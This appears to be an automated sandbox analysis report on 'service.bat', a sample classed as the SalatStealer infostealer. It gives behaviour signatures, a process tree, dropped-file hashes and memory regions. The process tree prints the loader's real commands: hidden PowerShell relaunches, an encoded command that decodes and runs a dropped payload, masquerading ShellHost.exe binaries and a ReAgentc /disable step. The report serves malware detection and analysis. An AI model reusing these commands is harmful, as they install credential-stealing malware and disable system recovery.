Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-edtkjsdb88
  • SHA256 94611497c8aed34818df5b417c42834ef569d5d2eac4def525e92e9356548919
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 14 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 18 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5820
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1kvna3fr\1kvna3fr.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3192
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF5C.tmp" "c:\Users\Admin\AppData\Local\Temp\1kvna3fr\CSC8187DA937A9438D94889B532821FEF2.TMP"
              6⤵
                PID:5344
            • C:\Users\Admin\AppData\Local\Temp\p_f90e1807-166a-427b-90e6-f8ebed405c52.exe
              "C:\Users\Admin\AppData\Local\Temp\p_f90e1807-166a-427b-90e6-f8ebed405c52.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3160
              • C:\Program Files (x86)\Mozilla Maintenance Service\ShellHost.exe
                "C:\Program Files (x86)\Mozilla Maintenance Service\ShellHost.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5312
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2200
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:2820
                • C:\Program Files (x86)\Microsoft\Edge\Application\ShellHost.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\ShellHost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:1816
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:3464
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:1764

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              1kvna3fr.dll

              • Path C:\Users\Admin\AppData\Local\Temp\1kvna3fr\1kvna3fr.dll
              • Size 5KB
              • SHA256 d7f90283e3c77a49a8c239057154de06024a67f388acc98c4eed8605900628ed
              • MD5 SHA1 SHA512 SSDEEP TLSH

              RESCF5C.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESCF5C.tmp
              • Size 1KB
              • SHA256 6b559a463d89b27360f8a44307b88ee6f84a3419f3cb3a491ea62c8fbe4939b7
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_yecpacvc.vrz.psm1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yecpacvc.vrz.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 410KB
              • SHA256 dbdcaea8e48078f5a16e704995f895cb56dacf7913bbed74afd6e135031de286
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_f90e1807-166a-427b-90e6-f8ebed405c52.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_f90e1807-166a-427b-90e6-f8ebed405c52.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1kvna3fr.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\1kvna3fr\1kvna3fr.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              1kvna3fr.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\1kvna3fr\1kvna3fr.cmdline
              • Size 369B
              • SHA256 f90d4c71101b4ce81fa85bb5a00c288ef091f9fca46a0dcc08032193f93e9dd8
              • MD5 SHA1 SHA512 TLSH

              CSC8187DA937A9438D94889B532821FEF2.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\1kvna3fr\CSC8187DA937A9438D94889B532821FEF2.TMP
              • Size 652B
              • SHA256 66dcb9beeed5f776ff8ff00fc83df04fea9154efc04833bdcbc6b9c6b6097231
              • MD5 SHA1 SHA512 TLSH

              memory/1816-885-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/1816-883-0x0000000000C50000-0x00000000018A5000-memory.dmp

              memory/2200-891-0x0000000007150000-0x0000000007170000-memory.dmp

              memory/2200-874-0x00000000057A0000-0x0000000005806000-memory.dmp

              memory/2200-886-0x0000000007110000-0x0000000007146000-memory.dmp

              memory/2200-876-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

              memory/2200-887-0x0000000070BE0000-0x0000000070C2C000-memory.dmp

              memory/2200-877-0x0000000005D10000-0x0000000005D5C000-memory.dmp

              memory/2200-892-0x0000000007170000-0x0000000007213000-memory.dmp

              memory/2200-875-0x00000000058F0000-0x0000000005C4B000-memory.dmp

              memory/2200-871-0x0000000005000000-0x0000000005066000-memory.dmp

              memory/2200-884-0x0000000006290000-0x00000000062D8000-memory.dmp

              memory/2200-870-0x0000000004EE0000-0x0000000004F02000-memory.dmp

              memory/2200-868-0x0000000002480000-0x00000000024B6000-memory.dmp

              memory/2200-888-0x0000000070D40000-0x000000007109B000-memory.dmp

              memory/2200-894-0x0000000007290000-0x00000000072AA000-memory.dmp

              memory/2200-893-0x00000000078E0000-0x0000000007F5C000-memory.dmp

              memory/2200-869-0x00000000050A0000-0x00000000056EA000-memory.dmp

              memory/2200-895-0x00000000072F0000-0x00000000072FA000-memory.dmp

              memory/2200-896-0x00000000073A0000-0x0000000007436000-memory.dmp

              memory/2200-898-0x00000000077B0000-0x00000000077D2000-memory.dmp

              memory/2200-899-0x0000000008520000-0x0000000008ADA000-memory.dmp

              memory/3064-819-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-817-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-822-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-824-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-853-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-825-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-816-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-818-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-826-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3064-841-0x0000023CA5750000-0x0000023CA5758000-memory.dmp

              memory/3064-827-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/3160-851-0x0000000000290000-0x0000000000EE5000-memory.dmp

              memory/3160-863-0x0000000000290000-0x0000000000EE5000-memory.dmp

              memory/3160-856-0x0000000000290000-0x0000000000EE5000-memory.dmp

              memory/3160-855-0x0000000000290000-0x0000000000EE5000-memory.dmp

              memory/5312-897-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-864-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-867-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-866-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-912-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-911-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-910-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-909-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-908-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-907-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5312-906-0x0000000000A00000-0x0000000001655000-memory.dmp

              memory/5820-11-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-5-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-6-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-4-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-3-0x0000020F60F70000-0x0000020F60F92000-memory.dmp

              memory/5820-7-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-8-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-9-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-10-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-0-0x00007FFB06E6F000-0x00007FFB06E70000-memory.dmp

              memory/5820-12-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

              memory/5820-14-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp